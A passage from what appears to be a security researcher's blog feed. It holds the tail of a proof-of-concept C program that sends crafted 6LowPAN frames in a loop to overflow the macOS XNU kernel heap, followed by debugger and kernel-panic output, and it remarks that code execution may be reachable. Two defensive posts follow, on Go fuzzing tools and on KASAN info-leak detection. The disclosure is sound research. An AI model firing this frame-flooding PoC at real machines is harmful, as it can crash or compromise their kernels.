	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">// As none FCF are set p+=3 bytes. </span>
	<span class="c1">// header length</span>
	<span class="c1">// c = p - data;</span>
	<span class="c1">// c = 3</span>
	<span class="c1">// payload length</span>
	<span class="c1">// pf-&gt;payload_len = (4 - 3);</span>
	<span class="c1">// pf-&gt;payload_len = 1</span>

	<span class="c1">// This is the start of our payload passed to sixxlowpan_uncompress</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="c1">// SICSLOWPAN_HC1_NH_UDP</span>

	<span class="c1">// Just pad the frame with 'A'. </span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">32</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">frame</span><span class="p">.</span><span class="n">payload</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x41</span><span class="p">;</span>
    <span class="p">}</span> 

    <span class="kt">ssize_t</span> <span class="n">bytes_sent</span><span class="p">;</span>
    <span class="n">bytes_sent</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">bpf</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">frame</span><span class="p">,</span> <span class="n">frame</span><span class="p">.</span><span class="n">len</span><span class="p">);</span>
    <span class="k">if</span><span class="p">(</span><span class="n">bytes_sent</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    	<span class="n">printf</span><span class="p">(</span><span class="s">"Bytes sent: %ld</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">bytes_sent</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    	<span class="n">perror</span><span class="p">(</span><span class="s">"Error sending frame"</span><span class="p">);</span>
    	<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="kt">char</span><span class="o">*</span> <span class="n">interface</span> <span class="o">=</span> <span class="s">"en0"</span><span class="p">;</span>

	<span class="kt">int</span> <span class="n">bpf</span><span class="p">;</span>
	<span class="n">bpf</span> <span class="o">=</span> <span class="n">open_bpf_device</span><span class="p">();</span>
	<span class="n">assoc_dev</span><span class="p">(</span><span class="n">bpf</span><span class="p">,</span> <span class="n">interface</span><span class="p">);</span>
		
	<span class="c1">// Do this in a loop to ensure we corrupt data following mbuf. </span>
	<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
		<span class="n">write_single_frame</span><span class="p">(</span><span class="n">bpf</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span> 
<span class="p">}</span> 
</code></pre></div></div>

<p>Which results in the following:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">frame</span> <span class="err">#</span><span class="mi">0</span><span class="o">:</span> <span class="mh">0xffffff8012dfa1da</span> <span class="n">kernel</span><span class="err">`</span><span class="n">sixxlowpan_uncompress</span> <span class="p">[</span><span class="n">inlined</span><span class="p">]</span> <span class="n">memmove</span><span class="p">(</span><span class="n">dst</span><span class="o">=</span><span class="mh">0xffffff806f16f82b</span><span class="p">,</span> <span class="n">src</span><span class="o">=</span><span class="mh">0xffffff806f16f806</span><span class="p">,</span> <span class="n">ulen</span><span class="o">=</span><span class="mi">65529</span><span class="p">)</span> <span class="n">at</span> <span class="n">loose_ends</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">873</span><span class="o">:</span><span class="mi">2</span> <span class="p">[</span><span class="n">opt</span><span class="p">]</span>

<span class="p">(</span><span class="n">lldb</span><span class="p">)</span> <span class="k">register</span> <span class="n">read</span> 
<span class="n">General</span> <span class="n">Purpose</span> <span class="n">Registers</span><span class="o">:</span>
       <span class="n">rax</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span>
       <span class="n">rbx</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span>
       <span class="n">rcx</span> <span class="o">=</span> <span class="mh">0xffffff8876c7bd28</span>
       <span class="n">rdx</span> <span class="o">=</span> <span class="mh">0x000000000000fff9</span>
       <span class="n">rdi</span> <span class="o">=</span> <span class="mh">0xffffff806f16f806</span>
       <span class="n">rsi</span> <span class="o">=</span> <span class="mh">0xffffff806f16f82b</span>
       <span class="n">rbp</span> <span class="o">=</span> <span class="mh">0xffffff8876c7bcf0</span>
       <span class="n">rsp</span> <span class="o">=</span> <span class="mh">0xffffff8876c7bc30</span>
        <span class="n">r8</span> <span class="o">=</span> <span class="mh">0xffffff8876c7bc38</span>
        <span class="n">r9</span> <span class="o">=</span> <span class="mh">0xffffff8876c7bc40</span>
       <span class="n">r10</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span>
       <span class="n">r11</span> <span class="o">=</span> <span class="mh">0x0000000000000003</span>
       <span class="n">r12</span> <span class="o">=</span> <span class="mh">0x0000000000000028</span>
       <span class="n">r13</span> <span class="o">=</span> <span class="mh">0x0000000000000003</span>
       <span class="n">r14</span> <span class="o">=</span> <span class="mh">0xffffff8876c7bd28</span>
       <span class="n">r15</span> <span class="o">=</span> <span class="mh">0xffffff806f16f803</span>
       <span class="n">rip</span> <span class="o">=</span> <span class="mh">0xffffff8012dfa1da</span>  <span class="n">kernel</span><span class="err">`</span><span class="n">sixxlowpan_uncompress</span> <span class="o">+</span> <span class="mi">298</span> <span class="p">[</span><span class="n">inlined</span><span class="p">]</span> <span class="n">memmove</span> <span class="n">at</span> <span class="n">subrs</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">703</span>
  <span class="n">kernel</span><span class="err">`</span><span class="n">sixxlowpan_uncompress</span> <span class="o">+</span> <span class="mi">298</span> <span class="p">[</span><span class="n">inlined</span><span class="p">]</span> <span class="n">__memmove_chk</span> <span class="n">at</span> <span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">853</span>
  <span class="n">kernel</span><span class="err">`</span><span class="n">sixxlowpan_uncompress</span> <span class="o">+</span> <span class="mi">298</span> <span class="n">at</span> <span class="n">sixxlowpan</span><span class="p">.</span><span class="n">c</span><span class="o">:</span><span class="mi">853</span>
    <span class="n">rflags</span> <span class="o">=</span> <span class="mh">0x0000000000000206</span>
        <span class="n">cs</span> <span class="o">=</span> <span class="mh">0x0000000000000008</span>
        <span class="n">fs</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span>
        <span class="n">gs</span> <span class="o">=</span> <span class="mh">0x0000000000000000</span>


<span class="n">Source</span><span class="o">:</span>

<span class="p">(</span><span class="n">lldb</span><span class="p">)</span> <span class="n">x</span><span class="o">/</span><span class="mi">20</span><span class="n">x</span> <span class="mh">0xffffff806f16f806</span>
<span class="mh">0xffffff806f16f806</span><span class="o">:</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span>
<span class="mh">0xffffff806f16f816</span><span class="o">:</span> <span class="mh">0x41414141</span> <span class="mh">0x41414141</span> <span class="mh">0x00000000</span> <span class="mh">0x00000000</span>
<span class="mh">0xffffff806f16f826</span><span class="o">:</span> <span class="mh">0x00000000</span> <span class="mh">0x72750000</span> <span class="mh">0x2d726569</span> <span class="mh">0x68737570</span>
<span class="mh">0xffffff806f16f836</span><span class="o">:</span> <span class="mh">0x7070612d</span> <span class="mh">0x632e656c</span> <span class="mh">0x612e6d6f</span> <span class="mh">0x6e64616b</span>
<span class="mh">0xffffff806f16f846</span><span class="o">:</span> <span class="mh">0x656e2e73</span> <span class="mh">0x00002e74</span> <span class="mh">0x00010005</span> <span class="mh">0x62670c28</span>

<span class="n">Dest</span><span class="o">:</span> 

<span class="p">(</span><span class="n">lldb</span><span class="p">)</span> <span class="n">x</span><span class="o">/</span><span class="mi">20</span><span class="n">x</span> <span class="mh">0xffffff806f16f82b</span>
<span class="mh">0xffffff806f16f82b</span><span class="o">:</span> <span class="mh">0x69727500</span> <span class="mh">0x702d7265</span> <span class="mh">0x2d687375</span> <span class="mh">0x6c707061</span>
<span class="mh">0xffffff806f16f83b</span><span class="o">:</span> <span class="mh">0x6f632e65</span> <span class="mh">0x6b612e6d</span> <span class="mh">0x736e6461</span> <span class="mh">0x74656e2e</span>
<span class="mh">0xffffff806f16f84b</span><span class="o">:</span> <span class="mh">0x0500002e</span> <span class="mh">0x28000100</span> <span class="mh">0x2d62670c</span> <span class="mh">0x72756f63</span>
<span class="mh">0xffffff806f16f85b</span><span class="o">:</span> <span class="mh">0x2d726569</span> <span class="mh">0x75700a34</span> <span class="mh">0x612d6873</span> <span class="mh">0x656c7070</span>
<span class="mh">0xffffff806f16f86b</span><span class="o">:</span> <span class="mh">0x6d6f6303</span> <span class="mh">0x616b6106</span> <span class="mh">0x03736e64</span> <span class="mh">0x0074656e</span>
</code></pre></div></div>

<p>As cluster mbuf’s are only 2048 in size and chained together in a linked list style fashion, this will lead to corruption of the proceeding mbuf’s with attacker controlled data.</p>

<p>Running our slightly modified POC 2 against a KASAN kernel (41’s swapped with 45’s) we can also see heap corruption has occured and we have triggered a verification of the nextptr:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">panic</span><span class="p">(</span><span class="n">cpu</span> <span class="mi">0</span> <span class="n">caller</span> <span class="mh">0xffffff80108f005e</span><span class="p">)</span><span class="o">:</span> <span class="n">slab_nextptr_panic</span><span class="o">:</span> <span class="n">mcache</span><span class="p">.</span><span class="n">cl</span> <span class="n">buffer</span> <span class="mh">0xffffff806e4e4800</span> <span class="n">in</span> <span class="n">slab</span> <span class="mh">0xffffff801a0ed9d0</span> <span class="n">modified</span> <span class="n">after</span> <span class="n">free</span> <span class="n">at</span> <span class="n">offset</span> <span class="mi">0</span><span class="o">:</span> <span class="mh">0x45454545454545</span> <span class="n">out</span> <span class="n">of</span> <span class="n">range</span> <span class="p">[</span><span class="mh">0xffffff806e3b0000</span><span class="o">-</span><span class="mh">0xffffff80723b0000</span><span class="p">)</span>

<span class="n">Backtrace</span> <span class="p">(</span><span class="n">CPU</span> <span class="mi">0</span><span class="p">),</span> <span class="n">Frame</span> <span class="o">:</span> <span class="n">Return</span> <span class="n">Address</span>
<span class="mh">0xffffff8881e8ece0</span> <span class="o">:</span> <span class="mh">0xffffff800f88bd34</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_handle_debugger_trap</span> <span class="o">+</span> <span class="mh">0x384</span>
<span class="mh">0xffffff8881e8ed30</span> <span class="o">:</span> <span class="mh">0xffffff800fc2598c</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_kdp_i386_trap</span> <span class="o">+</span> <span class="mh">0x15c</span>
<span class="mh">0xffffff8881e8ed70</span> <span class="o">:</span> <span class="mh">0xffffff800fc11a47</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_kernel_trap</span> <span class="o">+</span> <span class="mh">0xa87</span>
<span class="mh">0xffffff8881e8ee00</span> <span class="o">:</span> <span class="mh">0xffffff800fc2c6e0</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">trap_from_kernel</span> <span class="o">+</span> <span class="mh">0x26</span>
<span class="mh">0xffffff8881e8ee20</span> <span class="o">:</span> <span class="mh">0xffffff800f88b62e</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_DebuggerTrapWithState</span> <span class="o">+</span> <span class="mh">0x4e</span>
<span class="mh">0xffffff8881e8ef40</span> <span class="o">:</span> <span class="mh">0xffffff8010ef9636</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_panic_trap_to_debugger</span><span class="p">.</span><span class="n">cold</span><span class="p">.</span><span class="mi">1</span> <span class="o">+</span> <span class="mh">0xa6</span>
<span class="mh">0xffffff8881e8ef90</span> <span class="o">:</span> <span class="mh">0xffffff800f88c236</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_panic_trap_to_debugger</span> <span class="o">+</span> <span class="mh">0x156</span>
<span class="mh">0xffffff8881e8efe0</span> <span class="o">:</span> <span class="mh">0xffffff8010ef9284</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_panic</span> <span class="o">+</span> <span class="mh">0x54</span>
<span class="mh">0xffffff8881e8f050</span> <span class="o">:</span> <span class="mh">0xffffff80108f005e</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_slab_nextptr_panic</span> <span class="o">+</span> <span class="mh">0x2de</span>
<span class="mh">0xffffff8881e8f0c0</span> <span class="o">:</span> <span class="mh">0xffffff80108ee561</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_slab_alloc</span> <span class="o">+</span> <span class="mh">0x301</span>
<span class="mh">0xffffff8881e8f150</span> <span class="o">:</span> <span class="mh">0xffffff80108d2e48</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_mbuf_slab_alloc</span> <span class="o">+</span> <span class="mh">0x1b8</span>
<span class="mh">0xffffff8881e8f2b0</span> <span class="o">:</span> <span class="mh">0xffffff80108722ce</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_mcache_alloc_ext</span> <span class="o">+</span> <span class="mh">0x92e</span>
<span class="mh">0xffffff8881e8f430</span> <span class="o">:</span> <span class="mh">0xffffff80108d087d</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_mbuf_cslab_alloc</span> <span class="o">+</span> <span class="mh">0x33d</span>
<span class="mh">0xffffff8881e8f5b0</span> <span class="o">:</span> <span class="mh">0xffffff80108722ce</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_mcache_alloc_ext</span> <span class="o">+</span> <span class="mh">0x92e</span>
<span class="mh">0xffffff8881e8f730</span> <span class="o">:</span> <span class="mh">0xffffff8010872a23</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_mcache_alloc</span> <span class="o">+</span> <span class="mh">0xd3</span>
<span class="mh">0xffffff8881e8f800</span> <span class="o">:</span> <span class="mh">0xffffff80108d729d</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_m_getcl</span> <span class="o">+</span> <span class="mh">0x2d</span>
<span class="mh">0xffffff8881e8f8b0</span> <span class="o">:</span> <span class="mh">0xffffff8010146ed9</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_sixlowpan_input</span> <span class="o">+</span> <span class="mh">0x119</span>
<span class="mh">0xffffff8881e8fa10</span> <span class="o">:</span> <span class="mh">0xffffff8010120986</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_dlil_ifproto_input</span> <span class="o">+</span> <span class="mh">0x136</span>
<span class="mh">0xffffff8881e8fa70</span> <span class="o">:</span> <span class="mh">0xffffff8010102ef3</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_dlil_input_packet_list_common</span> <span class="o">+</span> <span class="mh">0x2153</span>
<span class="mh">0xffffff8881e8fe70</span> <span class="o">:</span> <span class="mh">0xffffff801012010d</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_dlil_input_thread_cont</span> <span class="o">+</span> <span class="mh">0x2cd</span>
<span class="mh">0xffffff8881e8ffa0</span> <span class="o">:</span> <span class="mh">0xffffff800fbf85be</span> <span class="n">mach_kernel</span> <span class="o">:</span> <span class="n">_call_continuation</span> <span class="o">+</span> <span class="mh">0x2e</span>
</code></pre></div></div>

<p>It is expected that due to the controlled size of the write and the controlled data that it would be possible to turn this issue into code execution.</p>]]></content><author><name>Alex Plaskett</name></author><category term="Apple" /><category term="XNU" /><category term="6LowPAN" /><summary type="html"><![CDATA[Inspired by Kevin Backhouse’s great work on finding XNU remote vulnerabilities I decided to spend some time looking at CodeQL and performing some variant analysis. This lead to the discovery of a local root to kernel (although documented by Apple as remote) vulnerability within the 6LowPAN code of macOS 10.15.4.]]></summary></entry><entry><title type="html">Coverage Guided Fuzzing in Go</title><link href="https://alexplaskett.github.io/coverage-guided-fuzzing-golang/" rel="alternate" type="text/html" title="Coverage Guided Fuzzing in Go" /><published>2020-07-27T00:00:00+00:00</published><updated>2020-07-27T00:00:00+00:00</updated><id>https://alexplaskett.github.io/coverage-guided-fuzzing-golang</id><content type="html" xml:base="https://alexplaskett.github.io/coverage-guided-fuzzing-golang/"><![CDATA[<p>Recently I had the need to explore coverage guided fuzzing in <a href="https://golang.org/">Go</a>. Whilst there is a bit of information scattered around on multiple different sites, as someone who is fairly new to Go, I couldn’t find a good concise source of information on what is already out there and the current state of play of fuzzer tooling within the Go world.</p>

<h1 id="introduction">Introduction</h1>

<p>To build secure and resilient systems, then it is important it is important to have the tools available to detect issues in code. Humans are not good at identifying complex edge cases and perform reasoning under assumptions when writing code. For many years fuzzing has been commonly used to find bugs within programs written in C/C++, however, only recently these techniques have been started to get applied more to managed languages (Go/Rust/Swift etc). As these languages offer memory safety, fuzzing managed languages leads to other bug classes being identified. In Go this typically exhibits in either a panic, crash of the program, out of memory condition or a hang. There is also the technique of differential fuzzing, where providing the same input to a set of similar programs and observing the results, can lead to semantic or logic bugs being discovered. This article focuses on the former and the tools which can be used to find these issues in Go programs.</p>

<p>Whilst I was looking into this area a new draft design for the Go language to integrate fuzzing as a first class citizen was published. This <a href="https://golang.org/s/draft-fuzzing-design">draft design</a> is still under discussion and the aim of it is to collect feedback before an intended proposal. Perhaps one day there will be fuzzing as a first class citizen within Go, however, until then a more custom approach will likely need to be used.</p>

<h1 id="fuzzers">Fuzzers</h1>

<h2 id="go-fuzz">Go-Fuzz</h2>

<p>The most famous and original coverage-guided fuzzer for Go is <a href="https://github.com/dvyukov/go-fuzz">Go-Fuzz</a>. Go-fuzz’s acts similar to go tool build and provides source-to-source transformation to add coverage instrumentation. Go-fuzz was pretty much the de-facto fuzzer in the Go world and has found a significant amount of <a href="https://github.com/dvyukov/go-fuzz#trophies">bugs</a>.</p>

<p>However, some issues arise due to the difficulty in integration with other build systems, difficulty in instrumentation with  source-to-source tranformation and producing slower code. More in depth discussions of these pitfalls can be found in this <a href="https://github.com/golang/go/issues/14565">thread</a>.</p>

<p>Go-fuzz also provides the ability to produce an archive in which it is possible to link in Clang <a href="https://llvm.org/docs/LibFuzzer.html]">libfuzzer</a>.</p>

<h2 id="cmdcompile">cmd/compile</h2>

<p>In Go 1.14, native compiler instrumentation for libfuzzer was added by <a href="https://twitter.com/mdempsky">mdempsky</a> in these two commits <a href="https://github.com/golang/go/commit/e341e93c519ef22ed4759fd0b4643a30321b9222">one</a>, <a href="https://github.com/golang/go/commit/ea0b4e7c7db8c5d376e77fd3e6741d94685073ac">two</a>. This code coverage instrumentation within the compiler provides the basis for tools to be written which make use of the feedback.</p>

<p>Using <code class="language-plaintext highlighter-rouge">-gcflags=all=-d=libfuzzer -buildmode=c-archive</code> as arguments to Go build we can produce a c-archive which can be linked in with libfuzzer manually.</p>

<p><a href="https://github.com/mdempsky/go114-fuzz-build">go114-fuzz-build</a> can be used as a wrapper to simplify this process and then then resulting c-archive can be linked in with the libfuzzer driver.</p>

<h2 id="fzgo">Fzgo</h2>

<p>Finally we have a prototype of <a href="https://github.com/golang/go/issues/19109">cmd/go: make fuzzing a first class citizen, like tests or benchmarks</a> called <a href="https://github.com/thepudds/fzgo">Fzgo</a>. This makes use of Go-Fuzz to integrate it into <code class="language-plaintext highlighter-rouge">go test</code> functionality.</p>

<h1 id="build-systems-and-ci">Build Systems and CI</h1>

<p>When performing fuzzing for the purposes of vulnerability research, it is often enough to just run fuzzers standalone and against a single version of the software. However, to support a scalable secure software development lifecycle in large scale projects, then it is important that fuzzing is integrated as parts of the build system and CI to provide continuous fuzzing.</p>

<p>It is also important to make fuzzing as easy to do and as seamless as possible, so by making it more accessible to “normal” engineering, rather than just security specialists, will lead to much higher quality software being built. This is why build systems which provide this functionality, will make it easier for developers to integrate fuzz testing into their development practices.</p>

<h2 id="oss-fuzz">OSS-Fuzz</h2>

<p><a href="https://github.com/google/oss-fuzz">OSS-Fuzz</a> is well known and provides continious fuzzing for open source projects. For Go, OSS-Fuzz previously used to make use of Go-Fuzz for performing fuzzing of Go code, however was switched in April to make use of <a href="https://github.com/google/oss-fuzz/pull/3633">native cmd/compile libfuzzer instrumentation</a>.</p>

<p>OSS-Fuzz currently makes use of <a href="https://github.com/mdempsky/go114-fuzz-build">go114-fuzz-build</a> to compile and link with libfuzzer.</p>

<p>There are a number of projects making use of this for fuzzing Go, for example <a href="https://github.com/google/oss-fuzz/tree/master/projects/kubernetes">Kubernates</a> or the Go lang project itself <a href="https://github.com/google/oss-fuzz/blob/master/projects/golang/">Go</a>.</p>

<h2 id="bazel">Bazel</h2>

<p><a href="https://bazel.build/">Bazel</a> is often used within the Go world as a scalable build system. Whilst there have been <a href="https://github.com/nelhage/rules_fuzzer">Bazel libfuzzer rules</a> written in the past for fuzzing, there currently appears to be an on-going Google intern project to create <a href="https://github.com/googleinterns/bazel-rules-fuzzing">Bazel fuzzing rules</a>.</p>

<p>A few projects were also found to contain custom Bazel rules for fuzzing:</p>

<ul>
  <li>
    <p><a href="https://www.cncf.io/blog/2018/09/28/gsoc-2018-extending-envoys-fuzzing-coverage/">Envoy</a></p>
  </li>
  <li>
    <p><a href="https://github.com/prysmaticlabs/prysm/tree/master/fuzz">Prysm</a></p>
  </li>
</ul>

<h2 id="fuchsia">Fuchsia</h2>

<p><a href="https://fuchsia.dev">Fuchsia</a> is an open-source capability-based operating system being developed by Google. Fuchsia appears to have integrated fuzzing support for Go. This was previously documented <a href="https://fuchsia.dev/fuchsia-src/development/testing/fuzzing/libfuzzer_go">here</a>, however, this page seems to be unavailable currently. Digging into the source, however, we can see the <a href="https://fuchsia.googlesource.com/fuchsia/+/master/build/fuzzing/">build rules</a> and how this has been integrated into the project.</p>

<h2 id="hosted-continious-fuzzing">Hosted Continious Fuzzing</h2>

<p>There are also a number of hosted continious fuzzing services which support Go fuzzing. These are:</p>

<ul>
  <li><a href="https://fuzzit.dev/">fuzzit.dev</a></li>
  <li><a href="https://fuzzbuzz.io/">fuzzbuzz.io</a></li>
</ul>

<p>As these services are “fuzzing as a service” I have not had to chance to use them, however they deserve a mention as continious fuzzing platform providers.</p>]]></content><author><name>Alex Plaskett</name></author><category term="Go" /><category term="Fuzzing" /><summary type="html"><![CDATA[Recently I had the need to explore coverage guided fuzzing in Go. Whilst there is a bit of information scattered around on multiple different sites, as someone who is fairly new to Go, I couldn’t find a good concise source of information on what is already out there and the current state of play of fuzzer tooling within the Go world.]]></summary></entry><entry><title type="html">KASAN Info Leak Detection</title><link href="https://alexplaskett.github.io/uninitialized-kernel-memory/" rel="alternate" type="text/html" title="KASAN Info Leak Detection" /><published>2020-04-21T00:00:00+00:00</published><updated>2020-04-21T00:00:00+00:00</updated><id>https://alexplaskett.github.io/uninitialized-kernel-memory</id><content type="html" xml:base="https://alexplaskett.github.io/uninitialized-kernel-memory/"><![CDATA[<p>In my previous blog post I dug into a general overview of the <a href="http://127.0.0.1:4000/macos-kasan/">KASAN implementation in XNU</a>. This post goes more in depth in detecting kernel uninitialized information leaks using it (no 0days dropped here :)). Kernel Information Leaks to userland are a common problem and can be used to leak confidential information or disclose kernel memory addresses which are typically used to bypass KASLR. An example of this type of vulnerability is <a href="https://bazad.github.io/2018/03/a-fun-xnu-infoleak/">CVE-2017-13868</a>.</p>

<p>We can see within the XNU KASAN sources that attempts have been made to detect these types of issues when running the instrumented kernel build.</p>

<p>When memory is allocated using the <code class="language-plaintext highlighter-rouge">kasan_alloc</code> function, a requested size of memory is memset with a heap fill pattern of 0xbe:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* uninitialized memory detection */</span>
<span class="cp">#define KASAN_UNINITIALIZED_HEAP   0xbe
</span>
<span class="n">vm_address_t</span>
<span class="nf">kasan_alloc</span><span class="p">(</span><span class="n">vm_offset_t</span> <span class="n">addr</span><span class="p">,</span> <span class="n">vm_size_t</span> <span class="n">size</span><span class="p">,</span> <span class="n">vm_size_t</span> <span class="n">req</span><span class="p">,</span> <span class="n">vm_size_t</span> <span class="n">leftrz</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="n">assert</span><span class="p">(</span><span class="n">size</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">assert</span><span class="p">((</span><span class="n">addr</span> <span class="o">%</span> <span class="mi">8</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">assert</span><span class="p">((</span><span class="n">size</span> <span class="o">%</span> <span class="mi">8</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>

	<span class="n">vm_size_t</span> <span class="n">rightrz</span> <span class="o">=</span> <span class="n">size</span> <span class="o">-</span> <span class="n">req</span> <span class="o">-</span> <span class="n">leftrz</span><span class="p">;</span>

	<span class="n">kasan_poison</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">req</span><span class="p">,</span> <span class="n">leftrz</span><span class="p">,</span> <span class="n">rightrz</span><span class="p">,</span> <span class="n">ASAN_HEAP_RZ</span><span class="p">);</span>
	<span class="n">kasan_rz_clobber</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">req</span><span class="p">,</span> <span class="n">leftrz</span><span class="p">,</span> <span class="n">rightrz</span><span class="p">);</span>

	<span class="n">addr</span> <span class="o">+=</span> <span class="n">leftrz</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">enabled_checks</span> <span class="o">&amp;</span> <span class="n">TYPE_LEAK</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">__nosan_memset</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">addr</span><span class="p">,</span> <span class="n">KASAN_UNINITIALIZED_HEAP</span><span class="p">,</span> <span class="n">req</span><span class="p">);</span>
	<span class="p">}</span>
</code></pre></div></div>

<p>A check is then performed when performing copying out data from kernel space to userspace (using the <code class="language-plaintext highlighter-rouge">copyout</code> function), <code class="language-plaintext highlighter-rouge">copy_validate</code> is called:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span>
<span class="nf">copy_validate</span><span class="p">(</span><span class="k">const</span> <span class="n">user_addr_t</span> <span class="n">user_addr</span><span class="p">,</span> <span class="kt">uintptr_t</span> <span class="n">kernel_addr</span><span class="p">,</span>
    <span class="n">vm_size_t</span> <span class="n">nbytes</span><span class="p">,</span> <span class="n">copyio_flags_t</span> <span class="n">flags</span><span class="p">)</span>
<span class="p">{</span>
	<span class="p">...</span>

<span class="cp">#if KASAN
</span>		<span class="cm">/* For user copies, asan-check the kernel-side buffer */</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">COPYIO_IN</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">__asan_storeN</span><span class="p">(</span><span class="n">kernel_addr</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>
		<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
			<span class="n">__asan_loadN</span><span class="p">(</span><span class="n">kernel_addr</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>
			<span class="n">kasan_check_uninitialized</span><span class="p">((</span><span class="n">vm_address_t</span><span class="p">)</span><span class="n">kernel_addr</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>
		<span class="p">}</span>
<span class="cp">#endif
</span></code></pre></div></div>
<p>and the <code class="language-plaintext highlighter-rouge">copyio</code> code has been modified to also introduce a check:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#if KASAN
</span>	<span class="k">switch</span> <span class="p">(</span><span class="n">copy_type</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">case</span> <span class="n">COPYIN</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">COPYINSTR</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">COPYINATOMIC32</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">COPYINATOMIC64</span><span class="p">:</span>
		<span class="n">__asan_storeN</span><span class="p">((</span><span class="n">uptr</span><span class="p">)</span><span class="n">kernel_addr</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="k">case</span> <span class="n">COPYOUT</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">COPYOUTATOMIC32</span><span class="p">:</span>
	<span class="k">case</span> <span class="n">COPYOUTATOMIC64</span><span class="p">:</span>
		<span class="n">__asan_loadN</span><span class="p">((</span><span class="n">uptr</span><span class="p">)</span><span class="n">kernel_addr</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>
